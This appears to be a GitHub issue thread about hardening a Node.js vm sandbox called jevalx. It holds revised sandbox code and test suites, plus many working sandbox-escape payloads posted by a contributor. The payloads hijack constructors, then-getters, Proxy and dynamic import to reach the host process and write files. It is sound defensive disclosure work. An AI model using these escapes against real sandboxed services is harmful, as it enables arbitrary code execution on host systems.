  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;delete Error;delete Proxy;delete process;
  let rst,err,evil=false;
  try{
    rst = await new PromiseWtf(async(r,j)=>{
      try{
        rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;'+//NOTES: works until new spoil case.
          js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
        }).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
        if (evil){ return j({message:'EvilImport',js}) }
        if(rst==globalThis) rst = {message:'EvilGlobal',js};
        let typeof_rst = typeof(rst);
        if ('function'==typeof_rst){ rst = rst() }

        //inspired by @XmiliaH: .then is vulnerable:
        if(rst && rst.then){ delete rst.then }
        if (rst instanceof PromiseWtf) rst = await rst;
      }
      catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
      if (err) j(err); else r(rst);
    })
  }catch(ex){ err = ex }
  return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
    for(var k in Wtf){globalThis[k]=Wtf[k]};
    Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
    Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
    if (err) j(err); else r(rst);
  },1));
};

TEST

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));
  
}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
	if (global.process) {
		global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
		promise.__proto__.then = oldThen;
	}
	return oldThen.apply(this, arguments);
};
1
`
  try{
    console.log('IIII result=',await jevalx(code));
  }catch(ex){
    console.log('IIII ex=',typeof ex,ex);
  }
  console.log('IIII check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
  try{
    console.log('JJJJ result=',await jevalx(code));
  }catch(ex){
    console.log('JJJJ ex=',typeof ex,ex);
  }
  console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log(Promise.prototype);
  console.log(Proxy);
  console.log(Error);
  console.log('--------- TEST END -----------');
});

@XmiliaH
Copy link

XmiliaH commented Apr 1, 2024

Reflect.defineProperty(Function.prototype, 'then', {
	get() {
		this();
	}
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

these two Reflect/Function are suppose to be easy, as they should not be in sandbox. Will band them too. Update code soon @XmiliaH

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

@XmiliaH done with test K and L.

BTW, is it possible to inject Function.prototype?

const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require','Reflect','Function'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;delete Error;delete Proxy;delete process;delete Reflect;delete Function;
  let rst,err,evil=false;
  try{
    rst = await new PromiseWtf(async(r,j)=>{
      try{
        rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;delete Reflect;delete Function;'+//NOTES: works until new spoil case.
          js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
        }).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
        if (evil){ return j({message:'EvilImport',js}) }
        if(rst==globalThis) rst = {message:'EvilGlobal',js};
        let typeof_rst = typeof(rst);
        if ('function'==typeof_rst){ rst = rst() }

        //inspired by @XmiliaH: .then is vulnerable:
        if(rst && rst.then){ delete rst.then }
        if (rst instanceof PromiseWtf) rst = await rst;
      }
      catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
      if (err) j(err); else r(rst);
    })
  }catch(ex){ err = ex }
  return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
    for(var k in Wtf){globalThis[k]=Wtf[k]};
    Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
    Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
    if (err) j(err); else r(rst);
  },1));
};

TEST CASE K and L

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));
  
}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
	if (global.process) {
		global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
		promise.__proto__.then = oldThen;
	}
	return oldThen.apply(this, arguments);
};
1
`
  try{
    console.log('IIII result=',await jevalx(code));
  }catch(ex){
    console.log('IIII ex=',typeof ex,ex);
  }
  console.log('IIII check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
  try{
    console.log('JJJJ result=',await jevalx(code));
  }catch(ex){
    console.log('JJJJ ex=',typeof ex,ex);
  }
  console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Reflect.defineProperty(Function.prototype, 'then', {
	get() {
		this();
	}
});
`
  try{
    console.log('KKKK result=',await jevalx(code));
  }catch(ex){
    console.log('KKKK ex=',typeof ex,ex);
  }
  console.log('KKKK check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
`
  try{
    console.log('LLLL result=',await jevalx(code));
  }catch(ex){
    console.log('LLLL ex=',typeof ex,ex);
  }
  console.log('LLLL check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log(Promise.prototype);
  console.log(Proxy);
  console.log(Error);
  console.log('--------- TEST END -----------');
});

@XmiliaH
Copy link

XmiliaH commented Apr 1, 2024

Sorry, I do not get what you mean by

BTW, is it possible to inject Function.prototype?

const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', {
	get() {
		this();
	}
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")

and

this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned", "")})

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

Great this is exactly what I mean... Let me investigate, thanks

Sorry, I do not get what you mean by

BTW, is it possible to inject Function.prototype?

const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', {
	get() {
		this();
	}
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")

and

this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned", "")})

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

done with test case M and N. @XmiliaH

const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
const ObjectWtf = Object;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require','Reflect','Function'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;delete Error;delete Proxy;delete process;delete Reflect;delete Function;
  delete Object.prototype.__proto__;//
  let rst,err,evil=false;
  try{
    rst = await new PromiseWtf(async(r,j)=>{
      try{
        rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;delete Reflect;delete Function;'+//NOTES: works until new spoil case.
          js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
        }).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
        if (evil){ return j({message:'EvilImport',js}) }
        if(rst==globalThis) rst = {message:'EvilGlobal',js};
        let typeof_rst = typeof(rst);
        //if ('function'==typeof_rst){ rst = rst() }//todo support in future
        //inspired by @XmiliaH: .then is vulnerable:
        if(rst && rst.then){ delete rst.then }
        if (rst instanceof PromiseWtf) rst = await rst;
        if ('function'==typeof rst){ rst = {message:'EvilFunction'} }
      }
      catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
      if (err) j(err); else r(rst);
    })
  }catch(ex){ err = ex }
  return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
    Object = ObjectWtf;
    for(var k in Wtf){globalThis[k]=Wtf[k]};
    Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
    Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
    if (err) j(err); else r(rst);
  },1));
};

TEST

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));
  
}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
var global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
	if (global.process) {
		global.process.mainModule.require("fs").writeFileSync("pwned_case_i", "");
		promise.__proto__.then = oldThen;
	}
	return oldThen.apply(this, arguments);
};
1
`
  try{
    console.log('IIII result=',await jevalx(code));
  }catch(ex){
    console.log('IIII ex=',typeof ex,ex);
  }
  console.log('IIII check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_j', ''))")
`
  try{
    console.log('JJJJ result=',await jevalx(code));
  }catch(ex){
    console.log('JJJJ ex=',typeof ex,ex);
  }
  console.log('JJJJ check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Reflect.defineProperty(Function.prototype, 'then', {
	get() {
		this();
	}
});
`
  try{
    console.log('KKKK result=',await jevalx(code));
  }catch(ex){
    console.log('KKKK ex=',typeof ex,ex);
  }
  console.log('KKKK check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
`
  try{
    console.log('LLLL result=',await jevalx(code));
  }catch(ex){
    console.log('LLLL ex=',typeof ex,ex);
  }
  console.log('LLLL check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', { get() { this(); } });
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_m', ''))")
`
  try{
    console.log('MMMM result=',await jevalx(code));
  }catch(ex){
    console.log('MMMM ex=',typeof ex,ex);
  }
  console.log('MMMM check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned_case_n","") })
`
  try{
    console.log('NNNN result=',await jevalx(code));
  }catch(ex){
    console.log('NNNN ex=',typeof ex,ex);
  }
  console.log('NNNN check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  console.log('check process',await jevalx('[].constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log(Promise.prototype);
  console.log(Proxy);
  console.log(Error);
  console.log('--------- TEST END -----------');
});

@XmiliaH
Copy link

XmiliaH commented Apr 1, 2024

const Function = (_=>_).constructor;
const obj = {
	get then() {
		Object.defineProperty(this, 'then', {
			get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
		});
		Object.setPrototypeOf(this, import('').catch(_=>_).constructor);
	}
};
obj
this.constructor.prototype.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })

@mgttt
Copy link
Contributor

mgttt commented Apr 1, 2024

done.

code:

https://github.com/wanjo-tech/vm2/blob/main/jevalx.js

test:

https://github.com/wanjo-tech/vm2/blob/main/test_jevalx.js

const Function = (_=>_).constructor;
const obj = {
	get then() {
		Object.defineProperty(this, 'then', {
			get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
		});
		Object.setPrototypeOf(this, import('').catch(_=>_).constructor);
	}
};
obj
this.constructor.prototype.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })

@XmiliaH
Copy link

XmiliaH commented Apr 1, 2024

Object.getPrototypeOf(Object.getPrototypeOf(import('').catch(_=>_))).__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") })

and

const Function = (_=>_).constructor;
const proto = {};
Object.defineProperty(proto, 'then', {
	get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
});
const obj = {
	__proto__: proto
};
obj

@XmiliaH
Copy link

XmiliaH commented Apr 29, 2024

h=console.log;
c=10;
h.call.bind=h.bind;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1

@mgttt
Copy link
Contributor

mgttt commented Apr 29, 2024

done s16

h=console.log;
c=10;
h.call.bind=h.bind;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1

@XmiliaH
Copy link

XmiliaH commented Apr 29, 2024

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[f].map(h.bind,h.call)[0]}
f();
1

@mgttt
Copy link
Contributor

mgttt commented Apr 30, 2024

done s17;

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[f].map(h.bind,h.call)[0]}
f();
1

@XmiliaH
Copy link

XmiliaH commented Apr 30, 2024

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.call)[0]}
f();
1

@mgttt
Copy link
Contributor

mgttt commented Apr 30, 2024

done s18;

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.call)[0]}
f();
1

@XmiliaH
Copy link

XmiliaH commented Apr 30, 2024

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1

@mgttt
Copy link
Contributor

mgttt commented Apr 30, 2024

done s19;

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1

@XmiliaH
Copy link

XmiliaH commented Apr 30, 2024

f=m=>m.writeFileSync('pwned','');
h=console.log;
import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,f,0))");
1

@mgttt
Copy link
Contributor

mgttt commented May 1, 2024

done s20

f=m=>m.writeFileSync('pwned','');
h=console.log;
import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,f,0))");
1

@XmiliaH
Copy link

XmiliaH commented May 1, 2024

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;

@mgttt
Copy link
Contributor

mgttt commented May 1, 2024

thanks, rollback the line of Promise_prototype_catch.call() (will do it later for that warning-message)

ok for now

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;

@XmiliaH
Copy link

XmiliaH commented May 1, 2024

h=console.log;
c=10;
import('').catch.call=1;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;

@mgttt
Copy link
Contributor

mgttt commented May 1, 2024

thanks, test case s24/s25 added.

done now;

h=console.log;
c=10;
import('').catch.call=1;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;

@XmiliaH
Copy link

XmiliaH commented May 1, 2024

g=m=>m.writeFileSync('pwned','');
h=console.log;
c=10;
f=async()=>c--==0?(import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,g,0))")):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1

@mgttt
Copy link
Contributor

mgttt commented May 1, 2024

Hi, added case s26 for this. but didn't see pwned file this time.
Do you mind to show little more about your test command?

g=m=>m.writeFileSync('pwned','');
h=console.log;
c=10;
f=async()=>c--==0?(import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,g,0))")):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1

@XmiliaH
Copy link

XmiliaH commented May 1, 2024

throw{get code(){try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{throw this}}}

@mgttt
Copy link
Contributor

mgttt commented May 1, 2024

done s27

throw{get code(){try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{throw this}}}

@XmiliaH
Copy link

XmiliaH commented May 1, 2024

throw((a=[1]).map=_=>a[0]-->0?a:{get code(){console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}},a);

@mgttt
Copy link
Contributor

mgttt commented May 1, 2024

done s28

throw((a=[1]).map=_=>a[0]-->0?a:{get code(){console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}},a);

@XmiliaH
Copy link

XmiliaH commented May 1, 2024

h=console.log;
(a=[1]).map=_=>a;
x=h.call.bind(a.then=r=>{
	a.then=1;
	r(a);
	try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
},0);
a

@mgttt
Copy link
Contributor

mgttt commented May 2, 2024

done (s29,s30)

h=console.log;
(a=[1]).map=_=>a;
x=h.call.bind(a.then=r=>{
	a.then=1;
	r(a);
